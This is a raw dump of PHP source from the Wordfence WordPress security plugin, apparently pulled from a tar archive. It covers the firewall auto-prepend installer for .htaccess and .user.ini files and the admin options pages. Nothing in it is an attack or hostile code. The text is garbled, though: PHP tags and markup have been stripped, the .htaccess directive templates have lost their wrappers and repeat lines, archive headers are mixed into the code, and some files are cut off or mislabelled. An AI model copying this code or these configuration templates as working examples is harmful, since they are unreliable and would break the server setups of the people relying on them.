$updatedHtaccessContent) !== false; } } } return false; } /** * @param string|null $serverConfig * @param string|null $currentAutoPrependedFile */ public function __construct($serverConfig = null, $currentAutoPrependedFile = null) { $this->serverConfig = $serverConfig; $this->currentAutoPrependedFile = $currentAutoPrependedFile; } public function getFilesNeededForBackup() { $backups = array(); $htaccess = wfWAFAutoPrependHelper::getHtaccessPath(); switch ($this->getServerConfig()) { case 'apache-mod_php': case 'apache-suphp': case 'litespeed': case 'cgi': if (file_exists($htaccess)) { $backups[] = $htaccess; } break; } if ($userIni = ini_get('user_ini.filename')) { $userIniPath = wfWAFAutoPrependHelper::getUserIniPath(); switch ($this->getServerConfig()) { case 'cgi': case 'apache-suphp': case 'nginx': case 'litespeed': case 'iis': if (file_exists($userIniPath)) { $backups[] = $userIniPath; } break; } } return $backups; } public function downloadBackups($index = 0) { $backups = $this->getFilesNeededForBackup(); if ($backups && array_key_exists($index, $backups)) { $url = site_url(); $url = preg_replace('/^https?:\/\//i', '', $url); $url = preg_replace('/[^a-zA-Z0-9\.]+/', '_', $url); $url = preg_replace('/^_+/', '', $url); $url = preg_replace('/_+$/', '', $url); header('Content-Type: application/octet-stream'); $backupFileName = ltrim(basename($backups[$index]), '.'); header('Content-Disposition: attachment; filename="' . $backupFileName . '_Backup_for_' . $url . '.txt"'); readfile($backups[$index]); die(); } } /** * @return mixed */ public function getServerConfig() { return $this->serverConfig; } /** * @param mixed $serverConfig */ public function setServerConfig($serverConfig) { $this->serverConfig = $serverConfig; } /** * @param WP_Filesystem_Base $wp_filesystem * @throws wfWAFAutoPrependHelperException */ public function performInstallation($wp_filesystem) { $bootstrapPath = wordfence::getWAFBootstrapPath(); if (!$wp_filesystem->put_contents($bootstrapPath, wordfence::getWAFBootstrapContent($this->currentAutoPrependedFile))) { throw new wfWAFAutoPrependHelperException(__('We were unable to create the wordfence-waf.php file in the root of the WordPress installation. It\'s possible WordPress cannot write to the wordfence-waf.php file because of file permissions. Please verify the permissions are correct and retry the installation.', 'wordfence')); } $serverConfig = $this->getServerConfig(); $htaccessPath = wfWAFAutoPrependHelper::getHtaccessPath(); $homePath = dirname($htaccessPath); $userIniPath = wfWAFAutoPrependHelper::getUserIniPath(); $userIni = ini_get('user_ini.filename'); $userIniHtaccessDirectives = ''; if ($userIni) { $userIniHtaccessDirectives = sprintf(' Require all denied Order deny,allow Deny from all ', addcslashes($userIni, '"')); } // .htaccess configuration switch ($serverConfig) { case 'apache-mod_php': $autoPrependDirective = sprintf("# Wordfence WAF php_value auto_prepend_file '%1\$s' php_value auto_prepend_file '%1\$s' php_value auto_prepend_file '%1\$s' $userIniHtaccessDirectives # END Wordfence WAF ", addcslashes($bootstrapPath, "'")); break; case 'litespeed': $escapedBootstrapPath = addcslashes($bootstrapPath, "'"); $autoPrependDirective = sprintf("# Wordfence WAF php_value auto_prepend_file '%s' php_value auto_prepend_file '%s' $userIniHtaccessDirectives # END Wordfence WAF ", $escapedBootstrapPath, $escapedBootstrapPath); break; case 'apache-suphp': $autoPrependDirective = sprintf("# Wordfence WAF $userIniHtaccessDirectives # END Wordfence WAF ", addcslashes($homePath, "'")); break; case 'cgi': if ($userIniHtaccessDirectives) { $autoPrependDirective = sprintf("# Wordfence WAF $userIniHtaccessDirectives # END Wordfence WAF ", addcslashes($homePath, "'")); } break; } if (!empty($autoPrependDirective)) { // Modify .htaccess $htaccessContent = $wp_filesystem->get_contents($htaccessPath); if ($htaccessContent) { $regex = '/# Wordfence WAF.*?# END Wordfence WAF/is'; if (preg_match($regex, $htaccessContent, $matches)) { $htaccessContent = preg_replace($regex, $autoPrependDirective, $htaccessContent); } else { $htaccessContent .= "\n\n" . $autoPrependDirective; } } else { $htaccessContent = $autoPrependDirective; } if (!$wp_filesystem->put_contents($htaccessPath, $htaccessContent)) { throw new wfWAFAutoPrependHelperException(__('We were unable to make changes to the .htaccess file. It\'s possible WordPress cannot write to the .htaccess file because of file permissions, which may have been set by another security plugin, or you may have set them manually. Please verify the permissions allow the web server to write to the file, and retry the installation.', 'wordfence')); } if ($serverConfig == 'litespeed') { // sleep(2); $wp_filesystem->touch($htaccessPath); } } if ($userIni) { // .user.ini configuration switch ($serverConfig) { case 'cgi': case 'nginx': case 'apache-suphp': case 'litespeed': case 'iis': $autoPrependIni = sprintf("; Wordfence WAF auto_prepend_file = '%s' ; END Wordfence WAF ", addcslashes($bootstrapPath, "'")); break; } if (!empty($autoPrependIni)) { // Modify .user.ini $userIniContent = $wp_filesystem->get_contents($userIniPath); if (is_string($userIniContent)) { $userIniContent = str_replace('auto_prepend_file', ';auto_prepend_file', $userIniContent); $regex = '/; Wordfence WAF.*?; END Wordfence WAF/is'; if (preg_match($regex, $userIniContent, $matches)) { $userIniContent = preg_replace($regex, $autoPrependIni, $userIniContent); } else { $userIniContent .= "\n\n" . $autoPrependIni; } } else { $userIniContent = $autoPrependIni; } if (!$wp_filesystem->put_contents($userIniPath, $userIniContent)) { throw new wfWAFAutoPrependHelperException(sprintf(/* translators: File path. */ __('We were unable to make changes to the %1$s file. It\'s possible WordPress cannot write to the %1$s file because of file permissions. Please verify the permissions are correct and retry the installation.', 'wordfence'), basename($userIniPath))); } } } } /** * @param WP_Filesystem_Base $wp_filesystem * @throws wfWAFAutoPrependHelperException * * @return bool Whether or not the .user.ini still has a commented-out auto_prepend_file setting */ public function performIniRemoval($wp_filesystem) { $serverConfig = $this->getServerConfig(); $htaccessPath = wfWAFAutoPrependHelper::getHtaccessPath(); $userIniPath = wfWAFAutoPrependHelper::getUserIniPath(); $userIni = ini_get('user_ini.filename'); // Modify .htaccess $htaccessContent = $wp_filesystem->get_contents($htaccessPath); if (is_string($htaccessContent)) { $htaccessContent = preg_replace('/# Wordfence WAF.*?# END Wordfence WAF/is', '', $htaccessContent); } else { $htaccessContent = ''; } if (!$wp_filesystem->put_contents($htaccessPath, $htaccessContent)) { throw new wfWAFAutoPrependHelperException(__('We were unable to make changes to the .htaccess file. It\'s possible WordPress cannot write to the .htaccess file because of file permissions, which may have been set by another security plugin, or you may have set them manually. Please verify the permissions allow the web server to write to the file, and retry the installation.', 'wordfence')); } if ($serverConfig == 'litespeed') { // sleep(2); $wp_filesystem->touch($htaccessPath); } if ($userIni) { // Modify .user.ini $userIniContent = $wp_filesystem->get_contents($userIniPath); if (is_string($userIniContent)) { $userIniContent = preg_replace('/; Wordfence WAF.*?; END Wordfence WAF/is', '', $userIniContent); $userIniContent = str_replace('auto_prepend_file', ';auto_prepend_file', $userIniContent); } else { $userIniContent = ''; } if (!$wp_filesystem->put_contents($userIniPath, $userIniContent)) { throw new wfWAFAutoPrependHelperException(sprintf(/* translators: File path. */ __('We were unable to make changes to the %1$s file. It\'s possible WordPress cannot write to the %1$s file because of file permissions. Please verify the permissions are correct and retry the installation.', 'wordfence'), basename($userIniPath))); } return strpos($userIniContent, 'auto_prepend_file') !== false; } return false; } /** * @param WP_Filesystem_Base $wp_filesystem * @throws wfWAFAutoPrependHelperException */ public function performAutoPrependFileRemoval($wp_filesystem) { $bootstrapPath = wordfence::getWAFBootstrapPath(); if (!$wp_filesystem->delete($bootstrapPath)) { throw new wfWAFAutoPrependHelperException(__('We were unable to remove the wordfence-waf.php file in the root of the WordPress installation. It\'s possible WordPress cannot remove the wordfence-waf.php file because of file permissions. Please verify the permissions are correct and retry the removal.', 'wordfence')); } } public static function getHtaccessPath() { return wfUtils::getHomePath() . '.htaccess'; } public static function getUserIniPath() { $userIni = ini_get('user_ini.filename'); if ($userIni) { return wfUtils::getHomePath() . $userIni; } return false; } /** * Extracts the WAF section from the .htaccess content and returns it (inclusive of the section markers). If not * present, returns false. * * @param string $htaccessContent * @return false|string */ public static function getHtaccessSectionContent($htaccessContent) { $regex = '/# Wordfence WAF.*?# END Wordfence WAF/is'; if (preg_match($regex, $htaccessContent, $matches)) { return $matches[0]; } return false; } /** * Extracts the WAF section from the .user.ini content and returns it (inclusive of the section markers). If not * present, returns false. * * @param string $userIniContent * @return false|string */ public static function getUserIniSectionContent($userIniContent) { $regex = '/; Wordfence WAF.*?; END Wordfence WAF/is'; if (preg_match($regex, $userIniContent, $matches)) { return $matches[0]; } return false; } public function usesUserIni() { $userIni = ini_get('user_ini.filename'); if (!$userIni) { return false; } switch ($this->getServerConfig()) { case 'cgi': case 'apache-suphp': case 'nginx': case 'litespeed': case 'iis': return true; } return false; } public function uninstall() { /** @var WP_Filesystem_Base $wp_filesystem */ global $wp_filesystem; $htaccessPath = wfWAFAutoPrependHelper::getHtaccessPath(); $userIniPath = wfWAFAutoPrependHelper::getUserIniPath(); $adminURL = admin_url('/'); $allow_relaxed_file_ownership = true; $homePath = dirname($htaccessPath); ob_start(); if (false === ($credentials = request_filesystem_credentials($adminURL, '', false, $homePath, array('version', 'locale'), $allow_relaxed_file_ownership)) ) { ob_end_clean(); return false; } if (!WP_Filesystem($credentials, $homePath, $allow_relaxed_file_ownership)) { // Failed to connect, Error and request again request_filesystem_credentials($adminURL, '', true, ABSPATH, array('version', 'locale'), $allow_relaxed_file_ownership); ob_end_clean(); return false; } if ($wp_filesystem->errors->get_error_code()) { ob_end_clean(); return false; } ob_end_clean(); if ($wp_filesystem->is_file($htaccessPath)) { $htaccessContent = $wp_filesystem->get_contents($htaccessPath); $regex = '/# Wordfence WAF.*?# END Wordfence WAF/is'; if (preg_match($regex, $htaccessContent, $matches)) { $htaccessContent = preg_replace($regex, '', $htaccessContent); if (!$wp_filesystem->put_contents($htaccessPath, $htaccessContent)) { return false; } } } if ($wp_filesystem->is_file($userIniPath)) { $userIniContent = $wp_filesystem->get_contents($userIniPath); $regex = '/; Wordfence WAF.*?; END Wordfence WAF/is'; if (preg_match($regex, $userIniContent, $matches)) { $userIniContent = preg_replace($regex, '', $userIniContent); if (!$wp_filesystem->put_contents($userIniPath, $userIniContent)) { return false; } } } $bootstrapPath = wordfence::getWAFBootstrapPath(); if ($wp_filesystem->is_file($bootstrapPath)) { $wp_filesystem->delete($bootstrapPath); } return true; } } class wfWAFAutoPrependHelperException extends Exception { }wfStyle.php000064400000002334147206764270006733 0ustar00id = $id; $this->next = $next; } public function getId() { return $this->id; } public function getNext() { return $this->next; } }menu_firewall_waf_options.php000064400000026135147206764270012544 0ustar00countriesNetwork); $firewall = new wfFirewall(); $config = $waf->getStorageEngine(); $wafURL = wfPage::pageURL(wfPage::PAGE_FIREWALL); $wafConfigURL = network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options#configureAutoPrepend'); $wafRemoveURL = network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options#removeAutoPrepend'); /** @var array $wafData */ $backPage = new wfPage(wfPage::PAGE_FIREWALL); if (isset($_GET['source']) && wfPage::isValidPage($_GET['source'])) { $backPage = new wfPage($_GET['source']); } ?>
$backPage->url(), 'backLabelHTML' => wp_kses(sprintf(__('Back to %s', 'wordfence'), $backPage->label()), array('span'=>array('class'=>array()))), 'restoreDefaultsSection' => wfConfig::OPTIONS_TYPE_FIREWALL, 'restoreDefaultsMessage' => __('Are you sure you want to restore the default Firewall settings? This will undo any custom changes you have made to the options on this page. If you have manually disabled any rules or added any custom allowlisted URLs, those changes will not be overwritten.', 'wordfence'), ))->render(); ?>
render(); echo wfView::create('gdpr/banner')->render(); } ?>

__('Firewall Options', 'wordfence'), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_FIREWALL_WAF), 'helpLabelHTML' => wp_kses(__('Learn more about the Firewall', 'wordfence'), array('span'=>array('class'=>array()))), 'showIcon' => true, ))->render(); ?>
  • 'waf-coverage', 'percentage' => $firewall->wafStatus(), 'activeColor' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? '#ececec' : null /* automatic */), 'title' => __('Web Application Firewall', 'wordfence'), 'subtitle' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? __('Currently in Learning Mode', 'wordfence') : __('Stops Complex Attacks', 'wordfence')), 'link' => $optionsURL, 'linkLabel' => null, 'statusTitle' => __('Web Application Firewall Status', 'wordfence'), 'statusList' => $firewall->wafStatusList(), 'statusExtra' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? wfView::create('waf/status-tooltip-learning-mode')->render() : ''), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_FIREWALL_WAF_STATUS_OVERALL), ))->render(); ?>
  • 'waf-rules', 'percentage' => $firewall->ruleStatus(), 'activeColor' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? '#ececec' : null /* automatic */), 'title' => __('Firewall Rules: ', 'wordfence') . ($firewall->ruleMode() == wfFirewall::RULE_MODE_PREMIUM ? __('Premium', 'wordfence') : __('Community', 'wordfence')), 'subtitle' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? __('Currently in Learning Mode', 'wordfence') : ($firewall->ruleMode() == wfFirewall::RULE_MODE_PREMIUM ? __('Rules updated in real-time', 'wordfence') : __('Rule updates delayed by 30 days', 'wordfence'))), 'link' => 'https://www.wordfence.com/gnl1wafUpgrade/wordfence-signup/', 'linkLabel' => null, 'linkNewWindow' => true, 'statusTitle' => __('Firewall Rules Status', 'wordfence'), 'statusList' => $firewall->wafStatusList('rules'), 'statusExtra' => ($firewall->firewallMode() == wfFirewall::FIREWALL_MODE_LEARNING ? wfView::create('waf/status-tooltip-learning-mode')->render() : ''), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_FIREWALL_WAF_STATUS_RULES), ))->render(); ?>
  • 'waf-blacklist', 'percentage' => $firewall->blacklistStatus(), 'title' => __('Real-Time IP Blocklist: ', 'wordfence') . ($firewall->blacklistMode() == wfFirewall::BLACKLIST_MODE_ENABLED ? __('Enabled', 'wordfence') : __('Disabled', 'wordfence')), 'subtitle' => __('Blocks requests from known malicious IPs', 'wordfence'), 'link' => (($firewall->ruleMode() == wfFirewall::RULE_MODE_PREMIUM && $firewall->blacklistMode() == wfFirewall::BLACKLIST_MODE_DISABLED) ? network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options#waf-options-advanced') : 'https://www.wordfence.com/gnl1wafUpgrade/wordfence-signup/'), 'linkLabel' => null, 'linkNewWindow' => !($firewall->ruleMode() == wfFirewall::RULE_MODE_PREMIUM && $firewall->blacklistMode() == wfFirewall::BLACKLIST_MODE_DISABLED), 'statusTitle' => __('Blocklist Status', 'wordfence'), 'statusList' => $firewall->wafStatusList('blacklist'), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_FIREWALL_WAF_STATUS_BLACKLIST), ))->render(); ?>
  • 'waf-brute', 'percentage' => $firewall->bruteForceStatus(), 'title' => __('Brute Force Protection', 'wordfence') . ($firewall->bruteForceStatus() == 0 ? __(': Disabled', 'wordfence') : ''), 'subtitle' => __('Stops Password Guessing Attacks', 'wordfence'), 'link' => network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options#waf-options-bruteforce'), 'linkLabel' => null, 'statusTitle' => __('Brute Force Protection Status', 'wordfence'), 'statusList' => $firewall->bruteForceStatusList(), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_FIREWALL_WAF_STATUS_BRUTE_FORCE), ))->render(); ?>
$firewall, 'waf' => $waf, 'stateKey' => 'waf-options-basic', 'collapseable' => false, ))->render(); ?> $firewall, 'waf' => $waf, 'stateKey' => 'waf-options-advanced', ))->render(); ?> $firewall, 'waf' => $waf, 'stateKey' => 'waf-options-bruteforce', ))->render(); ?> $firewall, 'waf' => $waf, 'stateKey' => 'waf-options-ratelimiting', ))->render(); ?> $firewall, 'waf' => $waf, 'stateKey' => 'waf-options-whitelisted', ))->render(); ?>
menu_options.php000064400000061313147206764270010017 0ustar00countriesNetwork); $firewall = new wfFirewall(); $scanner = wfScanner::shared(); $config = $waf->getStorageEngine(); $wafURL = wfPage::pageURL(wfPage::PAGE_FIREWALL); $wafConfigURL = network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options#configureAutoPrepend'); $wafRemoveURL = network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options#removeAutoPrepend'); /** @var array $wafData */ $backPage = new wfPage(wfPage::PAGE_FIREWALL); if (isset($_GET['source']) && wfPage::isValidPage($_GET['source'])) { $backPage = new wfPage($_GET['source']); } ?>
__('License Key', 'wordfence'), 'wf-option-displayTopLevelOptions' => __('Display All Options menu item', 'wordfence'), 'wf-option-displayTopLevelBlocking' => __('Display Blocking menu item', 'wordfence'), 'wf-option-displayTopLevelLiveTraffic' => __('Display Live Traffic menu item', 'wordfence'), 'wf-option-displayTopLevelAuditLog' => __('Display Audit Log menu item', 'wordfence'), 'wf-option-autoUpdate' => __('Update Wordfence automatically when a new version is released?', 'wordfence'), 'wf-option-alertEmails' => __('Where to email alerts', 'wordfence'), 'wf-option-howGetIPs' => __('How does Wordfence get IPs', 'wordfence'), 'wf-option-howGetIPs-trusted-proxies' => __('Trusted Proxies', 'wordfence'), 'wf-option-enableRemoteIpLookup' => __('Look up visitor IP locations via Wordfence servers', 'wordfence'), 'wf-option-other-hideWPVersion' => __('Hide WordPress version', 'wordfence'), 'wf-option-disableCodeExecutionUploads' => __('Disable Code Execution for Uploads directory', 'wordfence'), 'wf-option-liveActivityPauseEnabled' => __('Pause live updates when window loses focus', 'wordfence'), 'wf-option-actUpdateInterval' => __('Update interval in seconds', 'wordfence'), 'wf-option-other-bypassLitespeedNoabort' => __('Bypass the LiteSpeed "noabort" check', 'wordfence'), 'wf-option-deleteTablesOnDeact' => __('Delete Wordfence tables and data on deactivation', 'wordfence'), 'wf-option-notification-updatesNeeded' => __('Updates Needed (Plugin, Theme, or Core)', 'wordfence'), 'wf-option-notification-securityAlerts' => __('Security Alerts', 'wordfence'), 'wf-option-notification-promotions' => __('Promotions', 'wordfence'), 'wf-option-notification-blogHighlights' => __('Blog Highlights', 'wordfence'), 'wf-option-notification-productUpdates' => __('Product Updates', 'wordfence'), 'wf-option-notification-scanStatus' => __('Scan Status', 'wordfence'), 'wf-option-alertOn-update' => __('Email me when Wordfence is automatically updated', 'wordfence'), 'wf-option-alertOn-wordfenceDeactivated' => __('Email me if Wordfence is deactivated', 'wordfence'), 'wf-option-alertOn-wafDeactivated' => __('Email me if the Wordfence Web Application Firewall is turned off', 'wordfence'), 'wf-option-alertOn-scanIssues' => __('Alert me with scan results of this severity level or greater', 'wordfence'), 'wf-option-alertOn-block' => __('Alert when an IP address is blocked', 'wordfence'), 'wf-option-alertOn-loginLockout' => __('Alert when someone is locked out from login', 'wordfence'), 'wf-option-alertOn-lostPasswdForm' => __('Alert when the "lost password" form is used for a valid user', 'wordfence'), 'wf-option-alertOn-adminLogin' => __('Alert me when someone with administrator access signs in', 'wordfence'), 'wf-option-alertOn-firstAdminLoginOnly' => __('Only alert me when that administrator signs in from a new device', 'wordfence'), 'wf-option-alertOn-nonAdminLogin' => __('Alert me when a non-admin user signs in', 'wordfence'), 'wf-option-alertOn-firstNonAdminLoginOnly' => __('Only alert me when that user signs in from a new device', 'wordfence'), 'wf-option-wafAlertOnAttacks' => __('Alert me when there\'s a large increase in attacks detected on my site', 'wordfence'), 'wf-option-alert-maxHourly' => __('Maximum email alerts to send per hour', 'wordfence'), 'wf-option-email-summary-enabled' => __('Enable email summary', 'wordfence'), 'wf-option-email-summary-excluded-directories' => __('List of directories to exclude from recently modified file list', 'wordfence'), 'wf-option-email-summary-dashboard-widget-enabled' => __('Enable activity report widget on the WordPress dashboard', 'wordfence'), 'wf-option-wafStatus' => __('Web Application Firewall Status', 'wordfence'), 'wf-option-protectionMode' => __('Web Application Firewall Protection Level', 'wordfence'), 'wf-option-disableWAFBlacklistBlocking' => __('Real-Time IP Blocklist', 'wordfence'), 'wf-option-disableWAFIPBlocking' => __('Delay IP and Country blocking until after WordPress and plugins have loaded (only process firewall rules early)', 'wordfence'), 'wf-option-whitelisted' => __('Allowlisted IP addresses that bypass all rules', 'wordfence'), 'wf-option-whitelistedServices' => __('Allowlisted services', 'wordfence'), 'wf-option-bannedURLs' => __('Immediately block IPs that access these URLs', 'wordfence'), 'wf-option-wafAlertWhitelist' => __('Ignored IP addresses for Wordfence Web Application Firewall alerting', 'wordfence'), 'wf-option-wafRules' => __('Web Application Firewall Rules', 'wordfence'), 'wf-option-loginSecurityEnabled' => __('Enable brute force protection', 'wordfence'), 'wf-option-loginSec-maxFailures' => __('Lock out after how many login failures', 'wordfence'), 'wf-option-loginSec-maxForgotPasswd' => __('Lock out after how many forgot password attempts', 'wordfence'), 'wf-option-loginSec-countFailMins' => __('Count failures over what time period', 'wordfence'), 'wf-option-loginSec-lockoutMins' => __('Amount of time a user is locked out', 'wordfence'), 'wf-option-loginSec-lockInvalidUsers' => __('Immediately lock out invalid usernames', 'wordfence'), 'wf-option-loginSec-userBlacklist' => __('Immediately block the IP of users who try to sign in as these usernames', 'wordfence'), 'wf-option-loginSec-strongPasswds-enabled' => __('Enforce strong passwords', 'wordfence'), 'wf-option-loginSec-breachPasswds-enabled' => __('Prevent the use of passwords leaked in data breaches', 'wordfence'), 'wf-option-loginSec-maskLoginErrors' => __('Don\'t let WordPress reveal valid users in login errors', 'wordfence'), 'wf-option-loginSec-blockAdminReg' => __('Prevent users registering "admin" username if it doesn\'t exist', 'wordfence'), 'wf-option-loginSec-disableAuthorScan' => __('Prevent discovery of usernames through "/?author=N" scans, the oEmbed API, the WordPress REST API, and WordPress XML Sitemaps', 'wordfence'), 'wf-option-loginSec-disableApplicationPasswords' => __('Disable WordPress application passwords', 'wordfence'), 'wf-option-other-blockBadPOST' => __('Block IPs who send POST requests with blank User-Agent and Referer', 'wordfence'), 'wf-option-blockCustomText' => __('Custom text shown on block pages', 'wordfence'), 'wf-option-other-pwStrengthOnUpdate' => __('Check password strength on profile update', 'wordfence'), 'wf-option-other-WFNet' => __('Participate in the Real-Time Wordfence Security Network', 'wordfence'), 'wf-option-firewallEnabled' => __('Enable Rate Limiting and Advanced Blocking', 'wordfence'), 'wf-option-neverBlockBG' => __('How should we treat Google\'s crawlers', 'wordfence'), 'wf-option-maxGlobalRequests' => __('If anyone\'s requests exceed', 'wordfence'), 'wf-option-maxRequestsCrawlers' => __('If a crawler\'s page views exceed', 'wordfence'), 'wf-option-max404Crawlers' => __('If a crawler\'s pages not found (404s) exceed', 'wordfence'), 'wf-option-maxRequestsHumans' => __('If a human\'s page views exceed', 'wordfence'), 'wf-option-max404Humans' => __('If a human\'s pages not found (404s) exceed', 'wordfence'), 'wf-option-blockedTime' => __('How long is an IP address blocked when it breaks a rule', 'wordfence'), 'wf-option-allowed404s' => __('Allowlisted 404 URLs', 'wordfence'), 'wf-option-wafWhitelist' => __('Web Application Firewall Allowlisted URLs', 'wordfence'), 'wf-option-ajaxWatcherDisabled-front' => __('Monitor background requests from an administrator\'s web browser for false positives (Front-end Website)', 'wordfence'), 'wf-option-ajaxWatcherDisabled-admin' => __('Monitor background requests from an administrator\'s web browser for false positives (Admin Panel)', 'wordfence'), 'wf-option-cbl-action' => __('What to do when we block someone visiting from a blocked country', 'wordfence'), 'wf-option-cbl-redirURL' => __('URL to redirect blocked countries to', 'wordfence'), 'wf-option-cbl-loggedInBlocked' => __('Block countries even if they are logged in', 'wordfence'), 'wf-option-cbl-bypassRedirURL' => __('If user from a blocked country hits the relative URL ____ then redirect that user to ____ and set a cookie that will bypass all country blocking', 'wordfence'), 'wf-option-cbl-bypassViewURL' => __('If user who is allowed to access the site views the relative URL ____ then set a cookie that will bypass country blocking in future in case that user hits the site from a blocked country', 'wordfence'), 'wf-option-scheduledScansEnabled' => __('Schedule Wordfence Scans', 'wordfence'), 'wf-option-scanType' => __('Scan Type', 'wordfence'), 'wf-option-scansEnabled-checkGSB' => __('Check if this website is on a domain blocklist', 'wordfence'), 'wf-option-spamvertizeCheck' => __('Check if this website is being "Spamvertised"', 'wordfence'), 'wf-option-checkSpamIP' => __('Check if this website IP is generating spam', 'wordfence'), 'wf-option-scansEnabled-checkHowGetIPs' => __('Scan for misconfigured How does Wordfence get IPs', 'wordfence'), 'wf-option-scansEnabled-checkReadableConfig' => __('Scan for publicly accessible configuration, backup, or log files', 'wordfence'), 'wf-option-scansEnabled-suspectedFiles' => __('Scan for publicly accessible quarantined files', 'wordfence'), 'wf-option-scansEnabled-core' => __('Scan core files against repository versions for changes', 'wordfence'), 'wf-option-scansEnabled-themes' => __('Scan theme files against repository versions for changes', 'wordfence'), 'wf-option-scansEnabled-plugins' => __('Scan plugin files against repository versions for changes', 'wordfence'), 'wf-option-scansEnabled-coreUnknown' => __('Scan wp-admin and wp-includes for files not bundled with WordPress', 'wordfence'), 'wf-option-scansEnabled-malware' => __('Scan for signatures of known malicious files', 'wordfence'), 'wf-option-scansEnabled-fileContents' => __('Scan file contents for backdoors, trojans and suspicious code', 'wordfence'), 'wf-option-scansEnabled-fileContentsGSB' => __('Scan file contents for malicious URLs', 'wordfence'), 'wf-option-scansEnabled-posts' => __('Scan posts for known dangerous URLs and suspicious content', 'wordfence'), 'wf-option-scansEnabled-comments' => __('Scan comments for known dangerous URLs and suspicious content', 'wordfence'), 'wf-option-scansEnabled-suspiciousOptions' => __('Scan WordPress core, plugin, and theme options for known dangerous URLs and suspicious content', 'wordfence'), 'wf-option-scansEnabled-oldVersions' => __('Scan for out of date, abandoned, and vulnerable plugins, themes, and WordPress versions', 'wordfence'), 'wf-option-scansEnabled-suspiciousAdminUsers' => __('Scan for suspicious admin users created outside of WordPress', 'wordfence'), 'wf-option-scansEnabled-passwds' => __('Check the strength of passwords', 'wordfence'), 'wf-option-scansEnabled-diskSpace' => __('Monitor disk space', 'wordfence'), 'wf-option-scansEnabled-wafStatus' => __('Monitor Web Application Firewall status', 'wordfence'), 'wf-option-other-scanOutside' => __('Scan files outside your WordPress installation', 'wordfence'), 'wf-option-scansEnabled-scanImages' => __('Scan images, binary, and other files as if they were executable', 'wordfence'), 'wf-option-lowResourceScansEnabled' => __('Use low resource scanning (reduces server load by lengthening the scan duration)', 'wordfence'), 'wf-option-scan-maxIssues' => __('Limit the number of issues sent in the scan results email', 'wordfence'), 'wf-option-scan-maxDuration' => __('Time limit that a scan can run in seconds', 'wordfence'), 'wf-option-maxMem' => __('How much memory should Wordfence request when scanning', 'wordfence'), 'wf-option-maxExecutionTime' => __('Maximum execution time for each scan stage', 'wordfence'), 'wf-option-scan-exclude' => __('Exclude files from scan that match these wildcard patterns', 'wordfence'), 'wf-option-scan-include-extra' => __('Additional scan signatures', 'wordfence'), 'wf-option-scan-force-ipv4-start' => __('Use only IPv4 to start scans', 'wordfence'), 'wf-option-scan-max-resume-attempts' => __('Maximum number of attempts to resume each scan stage', 'wordfence'), 'wf-option-liveTrafficEnabled' => __('Traffic logging mode (Live Traffic)', 'wordfence'), 'wf-option-liveTraf-ignorePublishers' => __('Don\'t log signed-in users with publishing access', 'wordfence'), 'wf-option-liveTraf-ignoreUsers' => __('List of comma separated usernames to ignore', 'wordfence'), 'wf-option-liveTraf-ignoreIPs' => __('List of comma separated IP addresses to ignore', 'wordfence'), 'wf-option-liveTraf-ignoreUA' => __('Browser user-agent to ignore', 'wordfence'), 'wf-option-liveTraf-maxRows' => __('Amount of Live Traffic data to store (number of rows)', 'wordfence'), 'wf-option-liveTraf-maxAge' => __('Maximum days to keep Live Traffic data', 'wordfence'), 'wf-option-auditLogMode' => __('Audit Log logging mode', 'wordfence'), 'wf-option-exportOptions' => __('Export this site\'s Wordfence options for import on another site', 'wordfence'), 'wf-option-importOptions' => __('Import Wordfence options from another site using a token', 'wordfence'), ); if (wfCredentialsController::useLegacy2FA()) { $indexOptions['wf-option-loginSec-requireAdminTwoFactor'] = __('Require Cellphone Sign-in for all Administrators', 'wordfence'); $indexOptions['wf-option-loginSec-enableSeparateTwoFactor'] = __('Enable Separate Prompt for Two Factor Code', 'wordfence'); } $indexOptions = array_merge($indexOptions, wfModuleController::shared()->optionIndexes); echo wfView::create('options/block-all-options-controls', array( 'showIcon' => false, 'indexOptions' => $indexOptions, 'restoreDefaultsSection' => wfConfig::OPTIONS_TYPE_ALL, 'restoreDefaultsMessage' => __('Are you sure you want to restore the default settings? This will undo any custom changes you have made to the options on this page. If you have manually disabled any rules or added any custom allowlisted URLs, those changes will not be overwritten.', 'wordfence'), ))->render(); ?>
render(); echo wfView::create('gdpr/banner')->render(); } ?>
__('All Options', 'wordfence'), 'stateKeys' => $stateKeys, 'showIcon' => true, ))->render(); ?>

__('Wordfence Global Options', 'wordfence'), 'showIcon' => false, ))->render(); echo wfView::create('dashboard/options-group-license', array( 'stateKey' => 'wf-unified-global-options-license', ))->render(); echo wfView::create('dashboard/options-group-view-customization', array( 'stateKey' => 'wf-unified-global-options-view-customization', ))->render(); echo wfView::create('dashboard/options-group-general', array( 'stateKey' => 'wf-unified-global-options-general', ))->render(); echo wfView::create('dashboard/options-group-dashboard', array( 'stateKey' => 'wf-unified-global-options-dashboard', ))->render(); echo wfView::create('dashboard/options-group-alert', array( 'stateKey' => 'wf-unified-global-options-alert', ))->render(); echo wfView::create('dashboard/options-group-email-summary', array( 'stateKey' => 'wf-unified-global-options-email-summary', ))->render(); ?> __('Firewall Options', 'wordfence'), 'showIcon' => false, ))->render(); echo wfView::create('waf/options-group-basic-firewall', array( 'firewall' => $firewall, 'waf' => $waf, 'stateKey' => 'wf-unified-waf-options-basic', ))->render(); echo wfView::create('waf/options-group-advanced-firewall', array( 'firewall' => $firewall, 'waf' => $waf, 'stateKey' => 'wf-unified-waf-options-advanced', ))->render(); echo wfView::create('waf/options-group-brute-force', array( 'firewall' => $firewall, 'waf' => $waf, 'stateKey' => 'wf-unified-waf-options-bruteforce', ))->render(); echo wfView::create('waf/options-group-rate-limiting', array( 'firewall' => $firewall, 'waf' => $waf, 'stateKey' => 